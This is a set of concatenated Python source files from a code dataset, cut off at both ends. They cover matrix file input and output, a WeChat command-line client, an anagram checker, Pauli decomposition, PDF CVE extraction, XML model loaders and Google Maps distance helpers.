str(matrix[i][j])))\n\tofile.close()\n\n\n\ndef Save_Rectangular_Matrix(matrix, rownames, colnames, fname):\n\tofile = open(fname, 'w')\n\tn,m = matrix.shape\n\tfor i in range(n):\n\t\tni = rownames[i]\n\t\tfor j in range(m):\n\t\t\tif matrix[i][j] > 0.:\n\t\t\t\tnj = colnames[j]\n\t\t\t\tofile.write(\"%s\\t%s\\t%s\\n\"%(ni, nj, str(matrix[i][j])))\n\tofile.close()\n\n\ndef Load_Square_Matrix(node2ind, fname, Bin=False):\n\tn = len(node2ind)\n\tM = np.zeros((n,n))\n\tifile = open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split('\\t')\n\t\tif len(lspt)> 2:\n\t\t\tn1 = node2ind[lspt[0]]\n\t\t\tn2 = node2ind[lspt[1]]\n\t\t\tval = float(lspt[2])\n\t\t\tif Bin==True:\n\t\t\t\tval = 1.\n\t\t\tM[n1][n2] = val\n\t\t\tM[n2][n1] = val\n\tifile.close()\n\treturn M\n\n\ndef Load_Rectangular_Matrix(row2ind, col2ind, fname, Bin=False):\n\tn = len(row2ind)\n\tm = len(col2ind)\n\tM = np.zeros((n,m))\n\tifile = open(fname, 'r')\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split('\\t')\n\t\tif len(lspt)> 2:\n\t\t\tn1 = row2ind[lspt[0]]\n\t\t\tn2 = col2ind[lspt[1]]\n\t\t\tval = float(lspt[2])\n\t\t\tif Bin==True:\n\t\t\t\tval = 1.\n\t\t\tM[n1][n2] = val\n\tifile.close()\n\treturn M\n\n\ndef Plot_Mat(matrix, labels, fname):\n\tplt.matshow(matrix,cmap=\"bwr\")\n\t\n\t\n\t#ax = sns.heatmap(matrix, linewidth=0., xticklabels=20, yticklabels=20)\n\t\n\t#plt.ylabel(\"Patients\", fontsize=20)\n\t#plt.xlabel(\"Clusters\", fontsize=20)\n\tplt.xticks(labels[0], labels[1])\n\tplt.yticks(labels[0], labels[1])\n\tplt.colorbar()\n\t#plt.tick_params(axis='both', which='major', labelsize=18)\n\tplt.savefig(fname, dpi=600)\n\tplt.clf()\n\n\ndef Save_Clustering(Clusters, fname):\n\tofile = open(fname, 'w')\n\tfor i in range(len(Clusters)):\n\t\tfor j in range(len(Clusters[i])):\n\t\t\titem = Clusters[i][j]\n\t\t\tofile.write(\"%s\\t%i\\n\"%(item, i))\n\tofile.close()\n\n\n\ndef Save_Matrix_Factor(M, fname, rownames, colnames):\n\tn,m = M.shape\n\tofile = open(fname, 'w')\n\t#column header\n\tfor i in range(m):\n\t\tofile.write(\"\\t%s\"%(colnames[i]))\n\tofile.write(\"\\n\")\n\t#rows\n\tfor i in range(n):\n\t\tofile.write(\"%s\"%(rownames[i]))\n\t\tfor j in range(m):\n\t\t\tofile.write(\"\\t%s\"%(str(M[i][j])))\n\t\tofile.write(\"\\n\")\n\tofile.close()\n\ndef Save_Matrix_Factor_no_headers(M, fname, rownames, colnames):\n\tn,m = M.shape\n\tofile = open(fname, 'w')\n\t#column header\n\t# for i in range(m):\n\t# \tofile.write(\"\\t%s\"%(colnames[i]))\n\t# ofile.write(\"\\n\")\n\t#rows\n\tfor i in range(n):\n\t\t# ofile.write(\"%s\"%(rownames[i]))\n\t\tfor j in range(m):\n\t\t\tif j > 0: ofile.write(\"\\t\")\n\t\t\tofile.write(\"%s\"%(str(M[i][j])))\n\t\tofile.write(\"\\n\")\n\tofile.close()\n\t\n\t\ndef Load_Matrix_Factor(fname):\n\tifile = open(fname, 'r')\n\t#column header\n\tline = ifile.readline()\n\tcolnames = line.strip().split('\\t')\n\trownames = []\n\tmatrix = []\n\tfor line in ifile.readlines():\n\t\tlspt = line.strip().split('\\t')\n\t\trownames.append(lspt[0])\n\t\tmatrix.append( [float(i) for i in lspt[1:]])\n\tifile.close()\n\treturn matrix, rownames, colnames\n\n\n","repo_name":"KatarinaMihajlovic/PD-Genes","sub_path":"step2_NMTF/Network_Matrices.py","file_name":"Network_Matrices.py","file_ext":"py","file_size_in_byte":9758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"43592284642","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom cmd import Cmd\n#from pathlib import Path\nfrom colorama import init\nfrom colorama import Fore, Back, Style\nimport signal\nimport json\nimport signal\nimport subprocess\nimport time\nimport os\nimport sys\n#root_dir = str(os.path.dirname(os.path.abspath(__file__)))\n#sys.path.append(root_dir)\n#print(sys.path)\nimport errno\nimport platform\nimport atexit\nimport shlex\nimport textwrap\nimport importlib\nimport itchat\nfrom util.__banner import *\nfrom util.__Plat_define import *\nfrom libs.User_API import *\n\nPROMPT = Fore.MAGENTA + '(wechatAIO)' + Style.RESET_ALL\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\n\nclass CLI(Cmd):\n #init\n init()\n #PROMPT = Fore.MAGENTA + '(wechatAIO)' + Style.RESET_ALL\n\n prompt = PROMPT + '> >_< > '\n intro = the_intro()\n helper = the_helper()\n #print(intro)\n\n ###########################################################\n # Inti and Communication commands\n ###########################################################\n def do_login_keep(self, input):\n plat = Plat_define()\n platform = plat.use_platform()\n print(\"Current OS: {}\".format(platform))\n if platform == 'mac':\n terminal_dir = 'util/__terminal.py'\n login_keep_dir = 'libs/after_login.py'\n try:\n subprocess.call(['python3', terminal_dir, '--wait', 'python3', login_keep_dir]) \n print('Message monitoring in the opening terminal...')\n time.sleep(1)\n except OSError as e:\n print(e.strerror)\n elif platform == 'windows':\n terminal_dir = DIR_PATH + '\\\\util\\\\__terminal.py'\n login_keep_dir = DIR_PATH + '\\\\libs\\\\after_login.py'\n print(login_keep_dir) \n try:\n #subprocess.call(['python', terminal_dir, 'dir']) \n subprocess.call('start /wait python3 {}'.format(login_keep_dir), shell=True)\n print('Message monitoring in the opening terminal...')\n time.sleep(1)\n except OSError as e:\n print(e.strerror)\n elif platform == 'linux':\n terminal_dir = 'util/__terminal.py'\n login_keep_dir = 'libs/after_login.py'\n try:\n subprocess.call(['python3', terminal_dir, '--wait', 'python3', login_keep_dir]) \n print('Message monitoring in the opening terminal...')\n time.sleep(1)\n except OSError as e:\n print(e.strerror)\n else:\n print(\"Untested OS!\")\n \n def help_login_keep(self):\n print('Keeping wechat connection for further operations.')\n ###########################################################\n def do_user_meta(self, input): \n try:\n login = Login()\n login.get_user_info()\n except:\n print(\"retreving user_info failed!\")\n \n def help_user_meta(self):\n print('login wechat to retrieving data.')\n ###########################################################\n def do_send(self, inputs):\n text = inputs.split(' ')[0]\n to_user = inputs.split(' ')[1]\n #print(inputs.split(' ')[1])\n #itchat.auto_login(hotReload=True)\n itchat.send(text, toUserName = to_user)\n print('\\nsent: {} to {}\\n'.format(text, to_user))\n def help_send(self):\n print('send message to User or Group.')\n ###########################################################\n # 列出自己所有的好友\n def do_list_friends(self, input):\n itchat.auto_login(hotReload=True)\n \n friends = itchat.get_friends(update=True)\n for f in range(1,len(friends)):#第0个好友是自己,不统计\n if friends[f]['RemarkName']: # 优先使用好友的备注名称,没有则使用昵称\n user_name = friends[f]['RemarkName']\n else:\n user_name = friends[f]['NickName']\n print(user_name)\n \n def help_list_friends(self):\n print('List all friends info.') \n ###########################################################\n def do_search_friends(self, inputs):\n #print(inputs2)\n itchat.auto_login(hotReload=True)\n friend = itchat.search_friends(inputs)\n print(friend)\n def help_search_friends(self):\n print('search particular user.') \n ###########################################################\n\n ###########################################################\n # \bStatistics Commands\n ###########################################################\n def do_backup(self, input):\n try:\n user_info = User_API()\n user_info.backup()\n except:\n print(\"backup failed!!\")\n def help_backup(self):\n print('backing up user_info.json to the backup folder.')\n ###########################################################\n def do_wordcloud(self, input):\n user_info = User_API()\n user_info.word_cloud()\n\n def help_wordcloud(self):\n print('generate a word cloud figure based on your friends signatures.')\n ###########################################################\n def do_wordcloud_cn(self, input):\n try:\n user_info = User_API()\n user_info.word_cloud_cn()\n print('checking the opening window, back after closing')\n except OSError as e:\n pass\n except:\n print(\"generate wordcloud figure failed!!\")\n def help_wordcloud_cn(self):\n print('generate a word cloud figure based on your friends signatures. 中文关键词模式')\n ###########################################################\n def do_gender(self, input):\n user_info = User_API()\n user_info.gender_chart()\n\n def help_gender(self):\n print('generate gender distribution charts.')\n ###########################################################\n def do_geo(self, input):\n user_info = User_API()\n user_info.state_chart()\n\n def help_geo(self):\n print('generate location distribution charts.') \n ###########################################################\n\n #=========================================================\n # Operating command\n #=========================================================\n def do_exit(self, input):\n print(Fore.YELLOW + \"Bye\" + Fore.RESET)\n return True\n\n def help_exit(self):\n print('exit the application. Shorthand: x q Ctrl-D.')\n #=========================================================\n #\n def do_clear(self, input):\n print(chr(27) + \"[2J\")\n def help_clear(self):\n print('clear all outputs.')\n #=========================================================\n def do_ls(self, input):\n files = [f for f in os.listdir('.') if os.path.isfile(f)]\n group_folder_check = 'Checked'\n friend_folder_check = 'Checked'\n log_folder_check = 'Checked'\n backup_folder_check = 'Checked'\n if 'user_info.json' in files:\n user_info_check = 'Checked'\n else:\n user_info_check = 'Missing'\n if 'itchat.pkl' in files:\n pkl_check = 'Checked'\n else:\n pkl_check = 'Missing'\n if not os.listdir('data/group/'):\n group_folder_check = \"Empty\"\n if not os.listdir('data/friend/'):\n friend_folder_check = \"Empty\"\n if not os.listdir('backup/'):\n backup_folder_check = \"Empty\"\n if not os.listdir('log/'):\n log_folder_check = \"Empty\"\n tb = PrettyTable(header_style='upper', padding_width=0)\n tb.field_names = ['Important File/Dir', 'Status']\n tb.add_row(['user_info.json', user_info_check])\n tb.add_row(['itchat.pkl', pkl_check])\n tb.add_row(['/data/group', group_folder_check])\n tb.add_row(['/data/friend', friend_folder_check])\n tb.add_row(['/backup', backup_folder_check])\n tb.add_row(['/log', log_folder_check])\n print(tb)\n print(Fore.LIGHTMAGENTA_EX + \"You can run either 'user_meta' or 'login_keep' to execute further steps,\\n \\\n hit '?' to receive more instructions...\" + Fore.RESET)\n\n def help_ls(self):\n print('Same as ls, list all files in current directory.')\n #=========================================================\n def do_dir_tree(self, input):\n startpath = str(os.path.dirname(os.path.abspath(__file__)))\n for root, dirs, files in os.walk(startpath):\n level = root.replace(startpath, '').count(os.sep)\n indent = ' ' * 4 * (level)\n print('{}{}/'.format(indent, os.path.basename(root)))\n subindent = '-' * 4 * (level + 1)\n for f in files:\n print('{}{}'.format(subindent, f))\n def help_dir_tree(self):\n print('show project directory/content tree.')\n #=========================================================\n def do_erase_logs(self, input):\n erase_flag = 1\n folder_list = ['data/friend', 'data/group', 'log/']\n for folder in folder_list:\n for the_file in os.listdir(folder):\n file_path = os.path.join(folder, the_file)\n try:\n if os.path.isfile(file_path):\n os.unlink(file_path)\n #elif os.path.isdir(file_path): shutil.rmtree(file_path)\n except OSError as e:\n if e.errno == 2:\n pass\n else:\n erase_flag = 0\n print(e)\n if erase_flag == 1:\n print(Fore.YELLOW + \"all logs files in /log/ and all media files in /data/ has been removed!\" + Fore.RESET)\n else:\n print(Fore.RED + \"There is error when deleting logs and media files, please check and do it manually\" + Fore.RESET)\n def help_erase_logs(self):\n print(\"deleta all logs in /log/ and temp data in /data/~ such as voice and images\")\n #=========================================================\n def do_reset_all(self, input):\n reset_flag = 1\n folder_list = ['data/friend', 'data/group', 'log/', 'backup/']\n for folder in folder_list:\n for the_file in os.listdir(folder):\n file_path = os.path.join(folder, the_file)\n try:\n if os.path.isfile(file_path):\n os.unlink(file_path)\n #elif os.path.isdir(file_path): shutil.rmtree(file_path)\n except OSError as err:\n if err.errno == 2:\n pass\n else:\n reset_flag = 0\n print(err)\n file_list = ['signature.png', 'signature_cn.png', 'user_info.json', 'itchat.pkl']\n \n for f in file_list:\n try: \n os.remove(f)\n except OSError as err:\n if err.errno == 2:\n pass\n else:\n reset_flag = 0\n print(err)\n\n if reset_flag == 1:\n print(Fore.YELLOW + \"Reset successed! All sensitive data are removed\" + Fore.RESET)\n else:\n print(Fore.RED + \"There is error when deleting some files, please check and do it manually\" + Fore.RESET)\n def help_reset_all(self):\n print(\"Restore Factory Settings, erase all of your sensitive data...\")\n #---------------------------------------------------------\n # can add more utility command below\n #---------------------------------------------------------\n \n def default(self, input):\n '''\n # func used to capture stdout in real-time\n def run_command_real_time(command):\n try:\n process = subprocess.Popen(\n shlex.split(command), stdout=subprocess.PIPE)\n while True:\n output = process.stdout.readline()\n # output,error = process.communicate()\n if output == '' and process.poll() is not None:\n break\n if output:\n print(output.strip())\n rc = process.poll()\n return rc\n except OSError as e:\n # print(\"OSError > \",e.errno)\n print(\"OSError > {}\".format(e.strerror))\n # print(\"OSError > \",e.filename)\n print(Fore.RED + \"Note: Default Shell mode, please check you input\" + Fore.RESET)\n except ValueError:\n pass\n except:\n print(\"Error > \", sys.exc_info()[0])\n '''\n if input == 'x' or input == 'q':\n return self.do_exit(input)\n #clear all \n #elif input == 'clear':\n #print(chr(27) + \"[2J\")\n \n '''\n else:\n # \"Run a shell command\"\n print(\n Fore.GREEN + \"\\nRunning shell command in default: {}\\n\".format(input) + Fore.RESET)\n run_command_real_time(input)\n ’‘’\n '''\n \n\n# main\nif __name__ == '__main__':\n init()\n the_banner()\n original_sigint = signal.getsignal(signal.SIGINT)\n cli = CLI()\n cli.doc_header = cli.helper + \"\\n\\nSupported Commands\\n==============================\"\n # cli.misc_header = '123'\n #cli.undoc_header = Fore.LIGHTYELLOW_EX + \\\n # 'Sub Modules \\n===========================' + Fore.RESET\n cli.ruler = ''\n cli.cmdloop()\n","repo_name":"shellsniper/wechatAIO","sub_path":"main_CLI.py","file_name":"main_CLI.py","file_ext":"py","file_size_in_byte":13656,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"30"} +{"seq_id":"13413723401","text":"# is anagram\n# anagrams contain the same letter but in diffent orders\n# Listen = Silent\n# use dict to check values\n\n\ns1 = \"Listen\"\ns2 = \"Silent\"\ndef anagram(s1, s2):\n s1 = s1.lower()\n s1 = s1.replace(\" \", \"\")\n s2 = s2.lower()\n s2 = s2.replace(\" \", \"\")\n d1 = {}\n d2 = {}\n\n if len(s1) != len(s2):\n return False\n\n for i in s1:\n d1[i] = 1\n \n for i in s2:\n d2[i] = 1\n \n if d1 == d2:\n return True\n else:\n return False\n\nprint(anagram(s1, s2))","repo_name":"micloudon/anagram_algo","sub_path":"anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"33130024602","text":"import sys\nsys.path.append('/Users/corey/.pyenv/versions/3.5.4/lib/python3.5/site-packages')\n\nfrom sympy import *\nfrom sympy.physics.quantum import TensorProduct\nfrom sympy.physics.quantum.dagger import Dagger\nfrom IPython.core.display import display, HTML\nimport numpy as np\nimport functools\nfrom operator import mul\n\n# Pauli Unitary Transformations\nnPauli = 4\nII = Matrix([[1+0*I,0],[0,1+0*I]])\nZ = Matrix([[1,0],[0,-1]])\nX = Matrix([[0,1],[1,0]])\nY = Matrix([[0,0-I],[0+I,0]])\nPauli = [II,X,Y,Z]\nPauli_Names = [\"I\",\"X\",\"Y\",\"Z\"]\n\ndef pauli_decomp(nqbits,M,Pauli,Pauli_Names,nPauli):\n \n pauli_decomp = []\n \n # ((qbit1),(qbit2),(qbit3),...)\n # ranges=((0,nPauli),(0,nPauli),(0,nPauli)) #<--- 3 qubit\n ranges=[[0,nPauli]] # this is a list\n for i in range(1,nqbits):\n ranges.append([0,nPauli])\n # now convert to tuples\n ranges = [tuple(l) for l in ranges]\n ranges = tuple(ranges)\n #print(ranges)\n\n operations=functools.reduce(mul,(p[1]-p[0] for p in ranges))-1\n result=[i[0] for i in ranges]\n pos=len(ranges)-1\n increments=0\n\n #P = TensorProduct(Pauli[result[0]],Pauli[result[1]],Pauli[result[2]]) # 3qbit\n P = TensorProduct(Pauli[result[0]],Pauli[result[1]])\n for ii in range(2,nqbits):\n P = TensorProduct(P,Pauli[result[ii]]);\n \n coeff = (1/(2**(nqbits))) * trace(P*M)\n if (abs(coeff) > 1e-12):\n \n #pauli_decomp.append([coeff,Pauli_Names[result[0]] + Pauli_Names[result[1]] + Pauli_Names[result[2]],[result[0],result[1],result[2]]]) # 3bit\n #print(str(coeff) + \"*\" + Pauli_Names[result[0]] + Pauli_Names[result[1]] + Pauli_Names[result[2]]) \n \n # nqbit data entry\n name = Pauli_Names[result[0]]\n index = [result[0]]\n for ii in range(1,nqbits):\n name = name + Pauli_Names[result[ii]]\n index.append(result[ii])\n pauli_decomp.append([coeff,name,index]) \n\n while increments < operations:\n if result[pos]==ranges[pos][1]-1:\n result[pos]=ranges[pos][0]\n pos-=1\n else:\n result[pos]+=1\n increments+=1\n pos=len(ranges)-1 #increment the innermost loop\n \n #P = TensorProduct(Pauli[result[0]],Pauli[result[1]],Pauli[result[2]]) # 3qbit\n P = TensorProduct(Pauli[result[0]],Pauli[result[1]])\n for ii in range(2,nqbits):\n P = TensorProduct(P,Pauli[result[ii]]);\n \n coeff = (1/(2**(nqbits))) * trace(P*M)\n if (abs(coeff) > 1e-12):\n #pauli_decomp.append([coeff,Pauli_Names[result[0]] + Pauli_Names[result[1]] + Pauli_Names[result[2]],[result[0],result[1],result[2]]])\n #print(str(coeff) + \"*\" + Pauli_Names[result[0]] + Pauli_Names[result[1]] + Pauli_Names[result[2]]) \n \n # nqbit data entry\n name = Pauli_Names[result[0]]\n index = [result[0]]\n for ii in range(1,nqbits):\n name = name + Pauli_Names[result[ii]]\n index.append(result[ii])\n pauli_decomp.append([coeff,name,index]) \n \n return pauli_decomp\n\ndef print_decomp_list(pauli_decomp):\n for i in range(0,len(pauli_decomp)):\n print(N(pauli_decomp[i][0],6),\" \",pauli_decomp[i][1])\n \ndef build_matrix_from_decomp(pauli_decomp):\n nqbits = len(pauli_decomp[0][2])\n print(\"nqbits: \",nqbits)\n \n P = TensorProduct(Pauli[pauli_decomp[0][2][0]],Pauli[pauli_decomp[0][2][1]])\n for ii in range(2,nqbits):\n P = TensorProduct(P,Pauli[pauli_decomp[0][2][ii]]);\n P = pauli_decomp[0][0] * P\n \n #P = pauli_decomp[0][0] * TensorProduct(Pauli[pauli_decomp[0][2][0]],Pauli[pauli_decomp[0][2][1]],Pauli[pauli_decomp[0][2][2]])\n #print(N(pauli_decomp[0][0],6),\" * \",Pauli_Names[pauli_decomp[0][2][0]] + Pauli_Names[pauli_decomp[0][2][1]] + Pauli_Names[pauli_decomp[0][2][2]])\n for i in range(1,len(pauli_decomp)):\n PP = TensorProduct(Pauli[pauli_decomp[i][2][0]],Pauli[pauli_decomp[i][2][1]])\n for ii in range(2,nqbits):\n PP = TensorProduct(PP,Pauli[pauli_decomp[i][2][ii]]);\n P = P + pauli_decomp[i][0] * PP\n \n #P = P + pauli_decomp[i][0] * TensorProduct(Pauli[pauli_decomp[i][2][0]],Pauli[pauli_decomp[i][2][1]],Pauli[pauli_decomp[i][2][2]])\n #print(N(pauli_decomp[i][0],6),\" * \",Pauli_Names[pauli_decomp[i][2][0]] + Pauli_Names[pauli_decomp[i][2][1]] + Pauli_Names[pauli_decomp[i][2][2]])\n return P;\n \n\n","repo_name":"trahancj/quantum_algorithms","sub_path":"qva_fem/pauliDecomp.py","file_name":"pauliDecomp.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"36737758451","text":"import sys\nimport re\nimport config\n\nfrom py_pdf_parser.loaders import load_file\n\n\ndef get_text_by_word_filtering(word) -> list:\n cves = []\n try:\n\n # Load PDF file\n pdf_file = load_file(config.PDF_FILE)\n \n # Get CVE elements ist\n elements = document.elements.filter_by_text_contains(word)\n \n # Loop on elements list\n for element in elements:\n\n # Get only CVE without other text\n cves_regex = re.findall('(CVE.[0-9]+-[0-9]+)',element.text())\n\n # Loop on CVE array\n for cve in cves_regex:\n cves.append(cve)\n \n return cves\n\n except(Exception,) as error: \n print(error)\n\nif __name__ == \"__main__\":\n\n get_text_by_word_filtering(sys.argv[1])\n","repo_name":"davidrouss/encrypt_pdf","sub_path":"extract_text_from_pdf.py","file_name":"extract_text_from_pdf.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"72262851286","text":"'''\nAdapter functions load volume objects based on Nornir's original XML storage format.\n\nAll loaders should return an object. If an object cannot be returned an exception should \nbe raised.\n'''\nimport os\nimport xml.etree.cElementTree as ElementTree\n\nimport nornir_volumemodel.model as model\nimport datetime\n\n\ndefaultAttributeTypeMapping = {'ImageFormatExt' : str,\n 'InputTransformChecksum' : bytes.fromhex,\n 'InputTransformType': str,\n 'InputTransform': str,\n 'LevelFormat' : str,\n 'Name' : str,\n 'Number' : int,\n 'NumberOfTiles' : int,\n 'Overlap' : float,\n 'Path' : str,\n 'Type' : str,\n 'CreationDate' : str,\n }\n\nhexChecksumAttributeTypeMapping = {'Checksum' : bytes.fromhex}\n\nfilesizeChecksumAttributeTypeMapping = {'Checksum' : int}\n\n\nclass UnknownModelException(Exception):\n '''Indicates the requested model object does not have a class to represent it'''\n\n def __init__(self, elem):\n self.elem = elem\n\n\ndef LoadElement(path):\n return ElementTree.parse(path).getroot()\n\ndef AddKnownAttributes(elem, obj, mapping):\n\n for attribname in mapping.keys():\n if attribname in elem.attrib:\n # print(attribname + \" = \" + str(elem.attrib[attribname]))\n val = mapping[attribname](elem.attrib[attribname])\n\n setattr(obj, attribname, val)\n # Make sure our setters are working\n assert(getattr(obj, attribname) == val)\n\n\ndef TryGetModelClass(name):\n\n if name in model.__dict__:\n return getattr(model, name)\n\n return None\n\n\ndef DefaultElementLoader(elem, childObjs):\n '''The default loader for an element'''\n classObj = TryGetModelClass(elem.tag)\n if classObj is None:\n raise UnknownModelException(elem)\n\n obj = classObj()\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n return obj\n\ndef VolumeLoad(elem, childObjs):\n\n obj = model.Volume()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.Block):\n obj.AddBlock(child)\n\n return obj\n\ndef BlockLoad(elem, childObjs):\n\n obj = model.Block()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.Section):\n obj.AddSection(child)\n\n return obj\n\n\ndef SectionLoad(elem, childObjs):\n\n obj = model.Section()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.Channel):\n obj.AddChannel(child)\n\n return obj\n\n\ndef ChannelLoad(elem, childObjs):\n\n obj = model.Channel()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.Filter):\n obj.AddFilter(child)\n\n if isinstance(child, model.Transform):\n obj.AddTransform(child)\n\n if isinstance(child, model.Scale):\n obj.Scale = child\n\n return obj\n\n\ndef FilterLoad(elem, childObjs):\n\n obj = model.Filter()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.TilePyramid):\n obj.TilePyramid = child\n\n if isinstance(child, model.Transform):\n obj.AddTransform(child)\n \n if isinstance(child, model.ImageSet):\n obj.ImageSet = child\n\n return obj\n\ndef TransformLoad(elem, childObjs):\n\n obj = model.Transform()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n AddKnownAttributes(elem, obj, hexChecksumAttributeTypeMapping)\n\n return obj\n\ndef TilePyramidLoad(elem, childObjs):\n\n obj = model.TilePyramid()\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n\n for child in childObjs:\n if isinstance(child, model.Level):\n obj.AddLevel(child)\n\n return obj\n\ndef ImageSetLoad(elem, childObjs):\n \n obj = model.ImageSet()\n \n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n \n for child in childObjs:\n if isinstance(child, model.Level):\n obj.AddLevel(child)\n\n return obj\n\ndef LevelLoad(elem, childObjs):\n\n Number = int(elem.attrib[\"Downsample\"])\n obj = model.Level(Number=Number)\n\n AddKnownAttributes(elem, obj, defaultAttributeTypeMapping)\n \n for child in childObjs:\n if isinstance(child, model.Image):\n obj.Image = child\n\n # Translate Downsample to \"Number\" for level objects\n return obj\n\ndef ScaleLoad(elem, childObjs):\n\n scaleAttribMapping = {'X' : float,\n 'Y' : float,\n 'Z' : float}\n\n\n obj = model.Scale()\n\n for child in elem:\n if 'UnitsPerPixel' in child.attrib:\n units_per_pixel = child.attrib['UnitsPerPixel']\n units_of_measure = child.attrib['UnitsOfMeasure']\n\n obj.SetAxis(child.tag, units_per_pixel, units_of_measure)\n\n AddKnownAttributes(elem, obj, scaleAttribMapping)\n\n return obj\n\nif __name__ == '__main__':\n pass","repo_name":"jamesra/nornir-volumemodel","sub_path":"nornir_volumemodel/persistance/nornir_xml/model_xml_adapters.py","file_name":"model_xml_adapters.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"39595356123","text":"from __future__ import division\nfrom math import cos, sin, pi, radians, degrees, asin, atan2\nimport requests\nimport keys\n\n\ndef build_url(origin='', destination='',):\n \"\"\" Determine the url to pass for the desired search \"\"\"\n # origin is either an address string (like '1 N State St Chicago IL') or a [lat, lng] 2-list\n if origin == '':\n raise Exception('origin cannot be blank.')\n elif isinstance(origin, str):\n origin_str = origin.replace(' ', '+')\n elif isinstance(origin, list) and len(origin) == 2:\n origin_str = ','.join(map(str, origin))\n else:\n raise Exception('origin should be a list [lat, lng] or an address string.')\n # destination is similar, although it can be a list of address strings or [lat, lng] 2 lists\n if destination == '':\n raise Exception('destination cannot be blank.')\n elif isinstance(destination, str):\n destination_str = destination.replace(' ', '+')\n elif isinstance(destination, list):\n destination_str = ''\n for element in destination:\n if isinstance(element, str):\n destination_str = '{0}|{1}'.format(destination_str, element.replace(' ', '+'))\n elif isinstance(element, list) and len(element) == 2:\n destination_str = '{0}|{1}'.format(destination_str, ','.join(map(str, element)))\n else:\n raise Exception('destination must be a list of lists [lat, lng] or a list of strings.')\n destination_str = destination_str.strip('|')\n else:\n raise Exception('destination must be a a list of lists [lat, lng] or a list of strings.')\n\n key = keys.api_key\n\n prefix = 'https://maps.googleapis.com/maps/api/distancematrix/json?mode=driving&units=imperial&avoid=tolls|ferries'\n full_url = prefix + '&origins={0}&destinations={1}&key={2}'.format(origin_str, destination_str, key)\n return full_url\n\n\ndef parse_json(url=''):\n \"\"\"\n Parse the json response from the API\n \"\"\"\n req = requests.get(url)\n d = req.json()\n\n if not d['status'] == 'OK':\n raise Exception('Error. Google Maps API return status: {}'.format(d['status']))\n\n addresses = d['destination_addresses']\n\n i = 0\n durations = [0] * len(addresses)\n for row in d['rows'][0]['elements']:\n if not row['status'] == 'OK':\n durations[i] = 9999\n else:\n if 'duration_in_traffic' in row:\n durations[i] = row['duration_in_traffic']['value'] / 60\n else:\n durations[i] = row['duration']['value'] / 60\n i += 1\n return [addresses, durations]\n\n\ndef geocode_address(address=''):\n \"\"\" For use in calculating distances between 2 locations, the [lat, lng] is needed instead of the address \"\"\"\n # Convert origin and destination to URL-compatible strings\n if address == '':\n raise Exception('address cannot be blank.')\n elif isinstance(address, str):\n address_str = address.replace(' ', '+')\n else:\n raise Exception('address should be a string.')\n\n key = keys.api_key\n\n # Convert the URL string to a URL, which we can parse\n # using the urlparse() function into path and query\n # Note that this URL should already be URL-encoded\n prefix = 'https://maps.googleapis.com/maps/api/geocode/json'\n full_url = prefix + '?address={0}&key={1}'.format(address_str, key)\n\n # Request geocode from address\n req = requests.get(full_url)\n d = req.json()\n\n # Parse the json to pull out the geocode\n if not d['status'] == 'OK':\n print('Error. Google Maps API return status: {}'.format(d['status']))\n geocode = None\n else:\n geocode = [d['results'][0]['geometry']['location']['lat'],\n d['results'][0]['geometry']['location']['lng']]\n print(geocode)\n return geocode\n\n\ndef select_destination(origin='', angle='', radius=''):\n \"\"\" Given a distance and polar angle, calculate the geocode of a destination point from the origin \"\"\"\n if origin == '':\n raise Exception('origin cannot be blank.')\n if angle == '':\n raise Exception('angle cannot be blank.')\n if radius == '':\n raise Exception('radius cannot be blank.')\n\n if isinstance(origin, str):\n origin_geocode = geocode_address(origin)\n elif isinstance(origin, list) and len(origin) == 2:\n origin_geocode = origin\n else:\n raise Exception('origin should be a list [lat, lng] or a string address.')\n\n # Find the location on a sphere a distance 'radius' along a bearing 'angle' from origin\n # This uses haversines rather than simple Pythagorean distance in Euclidean space\n # because spheres are more complicated than planes.\n r = 3963.1676 # Radius of the Earth in miles\n bearing = radians(angle) # Bearing in radians converted from angle in degrees\n lat1 = radians(origin_geocode[0])\n lng1 = radians(origin_geocode[1])\n lat2 = asin(sin(lat1) * cos(radius / r) + cos(lat1) * sin(radius / r) * cos(bearing))\n lng2 = lng1 + atan2(sin(bearing) * sin(radius / r) * cos(lat1), cos(radius / r) - sin(lat1) * sin(lat2))\n lat2 = degrees(lat2)\n lng2 = degrees(lng2)\n return [lat2, lng2]\n\n\ndef get_bearing(origin='', destination=''):\n \"\"\" Calculate the bearing from origin to destination \"\"\"\n if origin == '':\n raise Exception('origin cannot be blank')\n if destination == '':\n raise Exception('destination cannot be blank')\n\n bearing = atan2(sin((destination[1] - origin[1]) * pi / 180) * cos(destination[0] * pi / 180),\n cos(origin[0] * pi / 180) * sin(destination[0] * pi / 180) -\n sin(origin[0] * pi / 180) * cos(destination[0] * pi / 180) * cos((destination[1] - origin[1]) * pi / 180))\n bearing = bearing * 180 / pi\n bearing = (bearing + 360) % 360\n return bearing\n\n\ndef 